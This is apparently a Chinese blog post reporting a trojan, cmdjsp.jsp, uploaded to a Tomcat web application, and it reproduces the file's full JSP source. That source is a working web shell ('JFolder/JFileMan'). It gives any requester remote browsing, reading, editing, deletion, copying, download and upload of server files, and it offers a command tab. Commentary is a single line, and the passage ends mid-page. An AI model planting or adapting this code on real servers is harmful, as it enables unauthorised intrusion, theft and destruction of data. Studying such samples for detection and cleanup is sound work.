分享

漏洞 木马 cmdjsp.jsp

 quasiceo 2018-09-28
/usr/local/tomcat/webapps/vims/upload
从这里上传了一个jsp文件

cmdjsp.jsp
<%
/**
JFileMan V1.0  windows platform
@Filename&#65306; JFolder.jsp
@Description&#65306; &#19968;&#20010;&#31616;&#21333;&#30340;&#31995;&#32479;&#25991;&#20214;&#30446;&#24405;&#26174;&#31034;&#31243;&#24207;&#65292;&#31867;&#20284;&#20110;&#36164;&#28304;&#31649;&#29702;&#22120;&#65292;&#25552;&#20379;&#22522;&#26412;&#30340;&#25991;&#20214;&#25805;&#20316;&#65292;&#19981;&#36807;&#21151;&#33021;&#24369;&#22810;&#20102;&#12290;
@Author&#65306; Steven Cee
@Email &#65306; cqq1978@Gmail.com
@Bugs  :  &#19979;&#36733;&#26102;&#65292;&#20013;&#25991;&#25991;&#20214;&#21517;&#26080;&#27861;&#27491;&#24120;&#26174;&#31034;&#65307;Unix&#25805;&#20316;&#31995;&#32479;&#19978;&#20256;
*/
%>
<%@page errorPage="/"%>
<%@page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=1; //Language,0 : Chinese; 1:English
String strThisFile="JFileMan.jsp";
String strSeparator = File.separator;
String[] authorInfo={" <font color=red> &#20889;&#30340;&#19981;&#22909;&#65292;&#23558;&#23601;&#30528;&#29992;&#21543; - - by &#24904;&#21220;&#24378; http://www. </font>"," <font color=red> Thanks for your support - - by Steven Cee http://www. </font>"};
String[] strFileManage   = {"&#25991; &#20214; &#31649; &#29702;","File Management"};
String[] strCommand      = {"CMD &#21629; &#20196;","Command Window"};
String[] strSysProperty  = {"&#31995; &#32479; &#23646; &#24615;","System Property"};
String[] strHelp         = {"&#24110; &#21161;","Help"};
String[] strParentFolder = {"&#19978;&#32423;&#30446;&#24405;","Parent Folder"};
String[] strCurrentFolder= {"&#24403;&#21069;&#30446;&#24405;","Current Folder"};
String[] strDrivers      = {"&#39537;&#21160;&#22120;","Drivers"};
String[] strFileName     = {"&#25991;&#20214;&#21517;&#31216;","File Name"};
String[] strFileSize     = {"&#25991;&#20214;&#22823;&#23567;","File Size"};
String[] strLastModified = {"&#26368;&#21518;&#20462;&#25913;","Last Modified"};
String[] strFileOperation= {"&#25991;&#20214;&#25805;&#20316;","Operations"};
String[] strFileEdit     = {"&#20462;&#25913;","Edit"};
String[] strFileDown     = {"&#19979;&#36733;","Download"};
String[] strFileCopy     = {"&#22797;&#21046;","Move"};
String[] strFileDel      = {"&#21024;&#38500;","Delete"};
String[] strExecute      = {"&#25191;&#34892;","Execute"};
String[] strBack         = {"&#36820;&#22238;","Back"};
String[] strFileSave     = {"&#20445;&#23384;","Save"};

public class FileHandler
{
    private String strAction="";
    private String strFile="";
    void FileHandler(String action,String f)
    {
   
    }
}

public static class UploadMonitor {

        static Hashtable uploadTable = new Hashtable();

        static void set(String fName, UplInfo info) {
            uploadTable.put(fName, info);
        }

        static void remove(String fName) {
            uploadTable.remove(fName);
        }

        static UplInfo getInfo(String fName) {
            UplInfo info = (UplInfo) uploadTable.get(fName);
            return info;
        }
}

public class UplInfo {

        public long totalSize;
        public long currSize;
        public long starttime;
        public boolean aborted;

        public UplInfo() {
            totalSize = 0l;
            currSize = 0l;
            starttime = System.currentTimeMillis();
            aborted = false;
        }

        public UplInfo(int size) {
            totalSize = size;
            currSize = 0;
            starttime = System.currentTimeMillis();
            aborted = false;
        }

        public String getUprate() {
            long time = System.currentTimeMillis() - starttime;
            if (time != 0) {
                long uprate = currSize * 1000 / time;
                return convertFileSize(uprate) + "/s";
            }
            else return "n/a";
        }

        public int getPercent() {
            if (totalSize == 0) return 0;
            else return (int) (currSize * 100 / totalSize);
        }

        public String getTimeElapsed() {
            long time = (System.currentTimeMillis() - starttime) / 1000l;
            if (time - 60l >= 0){
                if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
                else return time / 60 + ":0" + (time % 60) + "m";
            }
            else return time<10 ? "0" + time + "s": time + "s";
        }

        public String getTimeEstimated() {
            if (currSize == 0) return "n/a";
            long time = System.currentTimeMillis() - starttime;
            time = totalSize * time / currSize;
            time /= 1000l;
            if (time - 60l >= 0){
                if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
                else return time / 60 + ":0" + (time % 60) + "m";
            }
            else return time<10 ? "0" + time + "s": time + "s";
        }

    }

    public class FileInfo {

        public String name = null, clientFileName = null, fileContentType = null;
        private byte[] fileContents = null;
        public File file = null;
        public StringBuffer sb = new StringBuffer(100);

        public void setFileContents(byte[] aByteArray) {
            fileContents = new byte[aByteArray.length];
            System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
        }
}

// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {

        private final String lineSeparator = System.getProperty("line.separator", "\n");
        private final int ONE_MB = 1024 * 1;

        public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
                int clength) throws IllegalArgumentException, IOException {
            if (is == null) throw new IllegalArgumentException("InputStream");
            if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
                    "\"" + boundary + "\" is an illegal boundary indicator");
            boundary = "--" + boundary;
            StringTokenizer stLine = null, stFields = null;
            FileInfo fileInfo = null;
            Hashtable dataTable = new Hashtable(5);
            String line = null, field = null, paramName = null;
            boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
            boolean isFile = false;
            if (saveFiles) { // Create the required directory (including parent dirs)
                File f = new File(saveInDir);
                f.mkdirs();
            }
            line = getLine(is);
            if (line == null || !line.startsWith(boundary)) throw new IOException(
                    "Boundary not found; boundary = " + boundary + ", line = " + line);
            while (line != null) {
                if (line == null || !line.startsWith(boundary)) return dataTable;
                line = getLine(is);
                if (line == null) return dataTable;
                stLine = new StringTokenizer(line, ";\r\n");
                if (stLine.countTokens() < 2) throw new IllegalArgumentException(
                        "Bad data in second line");
                line = stLine.nextToken().toLowerCase();
                if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
                        "Bad data in second line");
                stFields = new StringTokenizer(stLine.nextToken(), "=\"");
                if (stFields.countTokens() < 2) throw new IllegalArgumentException(
                        "Bad data in second line");
                fileInfo = new FileInfo();
                stFields.nextToken();
                paramName = stFields.nextToken();
                isFile = false;
                if (stLine.hasMoreTokens()) {
                    field = stLine.nextToken();
                    stFields = new StringTokenizer(field, "=\"");
                    if (stFields.countTokens() > 1) {
                        if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
                            fileInfo.name = paramName;
                            String value = stFields.nextToken();
                            if (value != null && value.trim().length() > 0) {
                                fileInfo.clientFileName = value;
                                isFile = true;
                            }
                            else {
                                line = getLine(is); // Skip "Content-Type:" line
                                line = getLine(is); // Skip blank line
                                line = getLine(is); // Skip blank line
                                line = getLine(is); // Position to boundary line
                                continue;
                            }
                        }
                    }
                    else if (field.toLowerCase().indexOf("filename") >= 0) {
                        line = getLine(is); // Skip "Content-Type:" line
                        line = getLine(is); // Skip blank line
                        line = getLine(is); // Skip blank line
                        line = getLine(is); // Position to boundary line
                        continue;
                    }
                }
                boolean skipBlankLine = true;
                if (isFile) {
                    line = getLine(is);
                    if (line == null) return dataTable;
                    if (line.trim().length() < 1) skipBlankLine = false;
                    else {
                        stLine = new StringTokenizer(line, ": ");
                        if (stLine.countTokens() < 2) throw new IllegalArgumentException(
                                "Bad data in third line");
                        stLine.nextToken(); // Content-Type
                        fileInfo.fileContentType = stLine.nextToken();
                    }
                }
                if (skipBlankLine) {
                    line = getLine(is);
                    if (line == null) return dataTable;
                }
                if (!isFile) {
                    line = getLine(is);
                    if (line == null) return dataTable;
                    dataTable.put(paramName, line);
                    // If parameter is dir, change saveInDir to dir
                    if (paramName.equals("dir")) saveInDir = line;
                    line = getLine(is);
                    continue;
                }
                try {
                    UplInfo uplInfo = new UplInfo(clength);
                    UploadMonitor.set(fileInfo.clientFileName, uplInfo);
                    OutputStream os = null;
                    String path = null;
                    if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
                            fileInfo.clientFileName));
                    else os = new ByteArrayOutputStream(ONE_MB);
                    boolean readingContent = true;
                    byte previousLine[] = new byte[2 * ONE_MB];
                    byte temp[] = null;
                    byte currentLine[] = new byte[2 * ONE_MB];
                    int read, read3;
                    if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
                        line = null;
                        break;
                    }
                    while (readingContent) {
                        if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
                            line = null;
                            uplInfo.aborted = true;
                            break;
                        }
                        if (compareBoundary(boundary, currentLine)) {
                            os.write(previousLine, 0, read - 2);
                            line = new String(currentLine, 0, read3);
                            break;
                        }
                        else {
                            os.write(previousLine, 0, read);
                            uplInfo.currSize += read;
                            temp = currentLine;
                            currentLine = previousLine;
                            previousLine = temp;
                            read = read3;
                        }//end else
                    }//end while
                    os.flush();
                    os.close();
                    if (!saveFiles) {
                        ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
                        fileInfo.setFileContents(baos.toByteArray());
                    }
                    else fileInfo.file = new File(path);
                    dataTable.put(paramName, fileInfo);
                    uplInfo.currSize = uplInfo.totalSize;
                }//end try
                catch (IOException e) {
                    throw e;
                }
            }
            return dataTable;
        }

        /**
         * Compares boundary string to byte array
         */
        private boolean compareBoundary(String boundary, byte ba[]) {
            byte b;
            if (boundary == null || ba == null) return false;
            for (int i = 0; i < boundary.length(); i++)
                if ((byte) boundary.charAt(i) != ba[i]) return false;
            return true;
        }

        /** Convenience method to read HTTP header lines */
        private synchronized String getLine(ServletInputStream sis) throws IOException {
            byte b[] = new byte[1024];
            int read = sis.readLine(b, 0, b.length), index;
            String line = null;
            if (read != -1) {
                line = new String(b, 0, read);
                if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
            }
            return line;
        }

        public String getFileName(String dir, String fileName) throws IllegalArgumentException {
            String path = null;
            if (dir == null || fileName == null) throw new IllegalArgumentException(
                    "dir or fileName is null");
            int index = fileName.lastIndexOf('/');
            String name = null;
            if (index >= 0) name = fileName.substring(index + 1);
            else name = fileName;
            index = name.lastIndexOf('\\');
            if (index >= 0) fileName = name.substring(index + 1);
            path = dir + File.separator + fileName;
            if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
            else return path.replace('/', File.separatorChar);
        }
} //End of class HttpMultiPartParser

String formatPath(String p)
{
    StringBuffer sb=new StringBuffer();
    for (int i = 0; i < p.length(); i++)
    {
        if(p.charAt(i)=='\\')
        {
            sb.append("\\\\");
        }
        else
        {
            sb.append(p.charAt(i));
        }
    }
    return sb.toString();
}

    /**
     * Converts some important chars (int) to the corresponding html string
     */
    static String conv2Html(int i) {
        if (i == '&') return "&";
        else if (i == '<') return "<";
        else if (i == '>') return ">";
        else if (i == '"') return """;
        else return "" + (char) i;
    }

    /**
     * Converts a normal string to a html conform string
     */
    static String htmlEncode(String st) {
        StringBuffer buf = new StringBuffer();
        for (int i = 0; i < st.length(); i++) {
            buf.append(conv2Html(st.charAt(i)));
        }
        return buf.toString();
    }
String getDrivers()
/**
Windows&#31995;&#32479;&#19978;&#21462;&#24471;&#21487;&#29992;&#30340;&#25152;&#26377;&#36923;&#36753;&#30424;
*/
{
    StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
    File roots[]=File.listRoots();
    for(int i=0;i<roots.length;i++)
    {
        sb.append(" <a href=\"javascript:doForm('','"+roots[i]+strSeparator+"','','','1','');\">");
        sb.append(roots[i]+"</a> ");
    }
    return sb.toString();
}
static String convertFileSize(long filesize)
{
    //bug 5.09M &#26174;&#31034;5.9M
    String strUnit="Bytes";
    String strAfterComma="";
    int intDivisor=1;
    if(filesize>=1024*1024)
    {
        strUnit = "MB";
        intDivisor=1024*1024;
    }
    else if(filesize>=1024)
    {
        strUnit = "KB";
        intDivisor=1024;
    }
    if(intDivisor==1) return filesize + " " + strUnit;
    strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
    if(strAfterComma=="") strAfterComma=".0";
    return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
}
%>
<%
request.setCharacterEncoding("gb2312");
String tabID = request.getParameter("tabID");
String strDir = request.getParameter("path");
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strPath = strDir + strSeparator + strFile;
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit=new StringBuffer("");
StringBuffer sbDown=new StringBuffer("");
StringBuffer sbCopy=new StringBuffer("");
StringBuffer sbSaveCopy=new StringBuffer("");
StringBuffer sbNewFile=new StringBuffer("");
String strOS = System.getProperty("os.name").toLowerCase();
//out.print(strPath);
if((tabID==null) || tabID.equals(""))
{
    tabID = "1";
}

if(strDir==null||strDir.length()<1)
{
    strDir = request.getRealPath(".");
}


if(strAction!=null && strAction.equals("down"))
{
    File f=new File(strPath);
    if(f.length()==0)
    {
        sbDown.append("&#25991;&#20214;&#22823;&#23567;&#20026; 0 &#23383;&#33410;&#65292;&#23601;&#19981;&#29992;&#19979;&#20102;&#21543;");
    }
    else
    {
        response.setHeader("content-type","text/html; charset=ISO-8859-1");
        response.setContentType("APPLICATION/OCTET-STREAM");   
        response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
        FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
        out.clearBuffer();
        int i;
        while ((i=fileInputStream.read()) != -1)
        {
            out.write(i);   
        }
        fileInputStream.close();
        out.close();
    }
}

if(strAction!=null && strAction.equals("del"))
{
    File f=new File(strPath);
    f.delete();
}

if(strAction!=null && strAction.equals("edit"))
{
    File f=new File(strPath);   
    BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
    sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
    sbEdit.append("<input type=hidden name=action value=save >\r\n");
    sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
    sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
    sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
    sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'>  "+strPath+"\r\n");
    sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
    String line="";
    while((line=br.readLine())!=null)
    {
        sbEdit.append(htmlEncode(line)+"\r\n");       
    }
   sbEdit.append("</textarea>");
    sbEdit.append("<input type=hidden name=path value="+strDir+">");
    sbEdit.append("</form>");
}

if(strAction!=null && strAction.equals("save"))
{
    File f=new File(strPath);
    BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
    String strContent=request.getParameter("content");
    bw.write(strContent);
    bw.close();
}
if(strAction!=null && strAction.equals("copy"))
{
    File f=new File(strPath);
    sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
    sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
    sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
    sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
    sbCopy.append("&#21407;&#22987;&#25991;&#20214;&#65306; "+strPath+"<p>");
    sbCopy.append("&#30446;&#26631;&#25991;&#20214;&#65306; <input type=text name=file2 size=40 value='"+strDir+"'><p>");
    sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
    sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p> \r\n");
    sbCopy.append("</form>");
}
if(strAction!=null && strAction.equals("savecopy"))
{
    File f=new File(strPath);
    String strDesFile=request.getParameter("file2");
    if(strDesFile==null || strDesFile.equals(""))
    {
        sbSaveCopy.append("<p><font color=red>&#30446;&#26631;&#25991;&#20214;&#38169;&#35823;&#12290;</font>");
    }
    else
    {
        File f_des=new File(strDesFile);
        if(f_des.isFile())
        {
            sbSaveCopy.append("<p><font color=red>&#30446;&#26631;&#25991;&#20214;&#24050;&#23384;&#22312;,&#19981;&#33021;&#22797;&#21046;&#12290;</font>");
        }
        else
        {
            String strTmpFile=strDesFile;
            if(f_des.isDirectory())
            {
                if(!strDesFile.endsWith(strSeparator))
                {
                    strDesFile=strDesFile+strSeparator;
                }
                strTmpFile=strDesFile+"cqq_"+strFile;
             }
           
            File f_des_copy=new File(strTmpFile);
            FileInputStream in1=new FileInputStream(f);
            FileOutputStream out1=new FileOutputStream(f_des_copy);
            byte[] buffer=new byte[1024];
            int c;
            while((c=in1.read(buffer))!=-1)
            {
                out1.write(buffer,0,c);
            }
            in1.close();
            out1.close();
   
            sbSaveCopy.append("&#21407;&#22987;&#25991;&#20214; &#65306;"+strPath+"<p>");
            sbSaveCopy.append("&#30446;&#26631;&#25991;&#20214; &#65306;"+strTmpFile+"<p>");
            sbSaveCopy.append("<font color=red>&#22797;&#21046;&#25104;&#21151;&#65281;</font>");           
        }       
    }   
    sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=&#36820;&#22238;>");
}
if(strAction!=null && strAction.equals("newFile"))
{
    String strF=request.getParameter("fileName");
    String strType1=request.getParameter("btnNewFile");
    String strType2=request.getParameter("btnNewDir");
    String strType="";
    if(strType1==null)
    {
        strType="Dir";
    }
    else if(strType2==null)
    {
        strType="File";
    }
    if(!strType.equals("") && !(strF==null || strF.equals("")))
    {       
            File f_new=new File(strF);           
            if(strType.equals("File") && !f_new.createNewFile())
                sbNewFile.append(strF+" &#25991;&#20214;&#21019;&#24314;&#22833;&#36133;");
            if(strType.equals("Dir") && !f_new.mkdirs())
                sbNewFile.append(strF+" &#30446;&#24405;&#21019;&#24314;&#22833;&#36133;");
    }
    else
    {
        sbNewFile.append("<p><font color=red>&#24314;&#31435;&#25991;&#20214;&#25110;&#30446;&#24405;&#20986;&#38169;&#12290;</font>");
    }
}

if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
{
    String tempdir=".";
    boolean error=false;
    response.setContentType("text/html");
    HttpMultiPartParser parser = new HttpMultiPartParser();

    int bstart = request.getContentType().lastIndexOf("oundary=");
    String bound = request.getContentType().substring(bstart + 8);
    int clength = request.getContentLength();
    Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
    if (ht.get("cqqUploadFile") != null)
    {

        FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
        File f1 = fi.file;
        UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
        if (info != null && info.aborted)
        {
            f1.delete();
            request.setAttribute("error", "Upload aborted");
        }
        else
        {
            String path = (String) ht.get("path");
           
            if(path!=null && !path.endsWith(strSeparator))
                path = path + strSeparator;
                strDir = path;
            //out.println(path + f1.getName());
            if (!f1.renameTo(new File(path + f1.getName())))
            {
                request.setAttribute("error", "Cannot upload file.");
                out.println("error,upload ");
                error = true;
                f1.delete();
            }
        }
    }
}
%>
<html>
<head>
<style type="text/css">
td,select,input,body{font-size:9pt;}
A { TEXT-DECORATION: none }

#tablist{
padding: 5px 0;
margin-left: 0;
margin-bottom: 0;
margin-top: 0.1em;
font:9pt;
}

#tablist li{
list-style: none;
display: inline;
margin: 0;
}

#tablist li a{
padding: 3px 0.5em;
margin-left: 3px;
border: 1px solid ;
background: F6F6F6;
}

#tablist li a:link, #tablist li a:visited{
color: navy;
}

#tablist li a.current{
background: #EAEAFF;
}

#tabcontentcontainer{
width: 100%;
padding: 5px;
border: 1px solid black;
}

.tabcontent{
display:none;
}

</style>

<script type="text/javascript">

var initialtab=[<%=tabID%>, "menu<%=tabID%>"]

////////Stop editting////////////////

function cascadedstyle(el, cssproperty, csspropertyNS){
if (el.currentStyle)
return el.currentStyle[cssproperty]
else if (window.getComputedStyle){
var elstyle=window.getComputedStyle(el, "")
return elstyle.getPropertyValue(csspropertyNS)
}
}

var previoustab=""

function expandcontent(cid, aobject){
if (document.getElementById){
highlighttab(aobject)
if (previoustab!="")
document.getElementById(previoustab).style.display="none"
document.getElementById(cid).style.display="block"
previoustab=cid
if (aobject.blur)
aobject.blur()
return false
}
else
return true
}

function highlighttab(aobject){
if (typeof tabobjlinks=="undefined")
collecttablinks()
for (i=0; i<tabobjlinks.length; i++)
tabobjlinks[i].style.backgroundColor=initTabcolor
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
}

function collecttablinks(){
var tabobj=document.getElementById("tablist")
tabobjlinks=tabobj.getElementsByTagName("A")
}

function do_onload(){
collecttablinks()
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
}

if (window.addEventListener)
window.addEventListener("load", do_onload, false)
else if (window.attachEvent)
window.attachEvent("onload", do_onload)
else if (document.getElementById)
window.onload=do_onload



</script>
<script language="javascript">

function doForm(action,path,file,cmd,tab,content)
{
    document.frmCqq.action.value=action;
    document.frmCqq.path.value=path;
    document.frmCqq.file.value=file;
    document.frmCqq.cmd.value=cmd;
    document.frmCqq.tabID.value=tab;
    document.frmCqq.content.value=content;
    if(action=="del")
    {
        if(confirm("&#30830;&#23450;&#35201;&#21024;&#38500;&#25991;&#20214; "+file+" &#21527;&#65311;"))
        document.frmCqq.submit();
    }
    else
    {
        document.frmCqq.submit();   
    }
}
</script>

<title>JFoler 1.0 ---A jsp based web folder management tool by Steven Cee</title>
<head>


<body>

<form name="frmCqq" method="post" action="">
<input type="hidden" name="action" value="">
<input type="hidden" name="path" value="">
<input type="hidden" name="file" value="">
<input type="hidden" name="cmd" value="">
<input type="hidden" name="tabID" value="2">
<input type="hidden" name="content" value="">
</form>

<!--Top Menu Started-->
<ul id="tablist">
<li><a href="http://www." class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
   <%=authorInfo[languageNo]%>
</ul>
<!--Top Menu End-->


<%
StringBuffer sbFolder=new StringBuffer("");
StringBuffer sbFile=new StringBuffer("");
try
{
    File objFile = new File(strDir);
    File list[] = objFile.listFiles();   
    if(objFile.getAbsolutePath().length()>3)
    {
        sbFolder.append("<tr><td > </td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
        sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");


    }
    for(int i=0;i<list.length;i++)
    {
        if(list[i].isDirectory())
        {
            sbFolder.append("<tr><td > </td><td>");
            sbFolder.append("  <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
            sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
        }
        else
        {
            String strLen="";
            String strDT="";
            long lFile=0;
            lFile=list[i].length();
            strLen = convertFileSize(lFile);
            Date dt=new Date(list[i].lastModified());
            strDT=dt.toLocaleString();
            sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
            sbFile.append(""+list[i].getName());   
            sbFile.append("</td><td>");
            sbFile.append(""+strLen);
            sbFile.append("</td><td>");
            sbFile.append(""+strDT);
            sbFile.append("</td><td>");

            sbFile.append("  <a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
            sbFile.append(strFileEdit[languageNo]+"</a> ");

            sbFile.append("  <a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
            sbFile.append(strFileDel[languageNo]+"</a> ");

            sbFile.append("   <a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
            sbFile.append(strFileDown[languageNo]+"</a> ");

            sbFile.append("   <a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
            sbFile.append(strFileCopy[languageNo]+"</a> ");
        }       

    }   
}
catch(Exception e)
{
    out.println("<font color=red>&#25805;&#20316;&#22833;&#36133;&#65306; "+e.toString()+"</font>");
}
%>

<DIV id="tabcontentcontainer">


<div id="menu3" class="tabcontent">
<br>
<br>    &#26410;&#23436;&#25104;<%=strOS%>
<br> <%
//Properties prop = new Properties(System.getProperties()); 
//prop.list(out);
%>

<br> 

</div>

<div id="menu4" class="tabcontent">
<br>
<p>&#19968;&#12289;&#21151;&#33021;&#35828;&#26126;</p>
<p>    jsp &#29256;&#26412;&#30340;&#25991;&#20214;&#31649;&#29702;&#22120;&#65292;&#36890;&#36807;&#35813;&#31243;&#24207;&#21487;&#20197;&#36828;&#31243;&#31649;&#29702;&#26381;&#21153;&#22120;&#19978;&#30340;&#25991;&#20214;&#31995;&#32479;&#65292;&#24744;&#21487;&#20197;&#26032;&#24314;&#12289;&#20462;&#25913;&#12289;</p>
<p>&#21024;&#38500;&#12289;&#19979;&#36733;&#25991;&#20214;&#21644;&#30446;&#24405;&#12290;&#23545;&#20110;windows&#31995;&#32479;&#65292;&#36824;&#25552;&#20379;&#20102;&#21629;&#20196;&#34892;&#31383;&#21475;&#30340;&#21151;&#33021;&#65292;&#21487;&#20197;&#36816;&#34892;&#19968;&#20123;&#31243;&#24207;&#65292;&#31867;&#20284;</p>
<p>&#19982;windows&#30340;cmd&#12290;</p>
<p> </p>
<p>&#20108;&#12289;&#27979;&#35797;</p>
<p>   <b>&#35831;&#22823;&#23478;&#22312;&#20351;&#29992;&#36807;&#31243;&#20013;&#65292;&#26377;&#20219;&#20309;&#38382;&#39064;&#65292;&#24847;&#35265;&#25110;&#32773;&#24314;&#35758;&#37117;&#21487;&#20197;&#32473;&#25105;&#30041;&#35328;&#65292;&#20197;&#20415;&#20351;&#36825;&#20010;&#31243;&#24207;&#26356;&#21152;&#23436;&#21892;&#21644;&#31283;&#23450;&#65292;<p>
&#30041;&#35328;&#22320;&#22336;&#20026;&#65306;<a href="http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx" target="_blank">http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx</a></b>
<p> </p>
<p>&#19977;&#12289;&#26356;&#26032;&#35760;&#24405;</p>
<p>    2004.11.29  V1.0&#27979;&#35797;&#29256;&#21457;&#24067;&#65292;&#20462;&#27491;&#20102;Linux&#31995;&#32479;&#19978;&#30340;&#19968;&#20123;&#38382;&#39064;&#65292;&#22312;Linux&#31995;&#32479;&#19978;&#20063;&#21487;&#20197;&#20351;&#29992;&#12290;</p>
<p>    2004.11.15  V0.9&#27979;&#35797;&#29256;&#21457;&#24067;&#65292;&#22686;&#21152;&#20102;&#19968;&#20123;&#22522;&#26412;&#30340;&#21151;&#33021;&#65292;&#25991;&#20214;&#32534;&#36753;&#12289;&#22797;&#21046;&#12289;&#21024;&#38500;&#12289;&#19979;&#36733;&#12289;&#19978;&#20256;&#20197;&#21450;&#26032;&#24314;&#25991;&#20214;&#30446;&#24405;&#21151;&#33021;</p>
<p>    2004.10.27  &#26242;&#26102;&#23450;&#20026;0.6&#29256;&#21543;&#65292; &#25552;&#20379;&#20102;&#30446;&#24405;&#25991;&#20214;&#27983;&#35272;&#21151;&#33021; &#21644; cmd&#21151;&#33021;</p>
<p>    2004.09.20  &#31532;&#19968;&#20010;jsp &#31243;&#24207;&#23601;&#26159;&#36825;&#20010;&#31616;&#21333;&#30340;&#26174;&#31034;&#30446;&#24405;&#25991;&#20214;&#30340;&#23567;&#31243;&#24207;</p>
<p> </p>
<p> </p>
</div>


<div id="menu1" class="tabcontent">
<%
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+"&#65306; <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
%>
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
      
        <tr>
          <td width="25%" align="center" valign="top">
              <table width="98%" border="0" cellspacing="0" cellpadding="3">
                 <%=sbFolder%>
                </tr>                
              </table>
          </td>
          <td width="81%" align="left" valign="top">
   
    <%
    if(strAction!=null && strAction.equals("edit"))
    {
        out.println(sbEdit.toString());
    }
    else if(strAction!=null && strAction.equals("copy"))
    {
        out.println(sbCopy.toString());
    }
    else if(strAction!=null && strAction.equals("down"))
    {
        out.println(sbDown.toString());
    }
    else if(strAction!=null && strAction.equals("savecopy"))
    {
        out.println(sbSaveCopy.toString());
    }
    else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
    {
        out.println(sbNewFile.toString());
    }
    else
    {
    %>
        <span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
              <tr bgcolor="#E7e7e6">
                <td width="26%"><%=strFileName[languageNo]%></td>
                <td width="19%"><%=strFileSize[languageNo]%></td>
                <td width="29%"><%=strLastModified[languageNo]%></td>
                <td width="26%"><%=strFileOperation[languageNo]%></td>
              </tr>             
            <%=sbFile%>
             <!-- <tr align="center">
                <td colspan="4"><br>
                  &#24635;&#35745;&#25991;&#20214;&#20010;&#25968;&#65306;<font color="#FF0000">30</font> &#65292;&#22823;&#23567;&#65306;<font color="#FF0000">664.9</font>
                  KB </td>
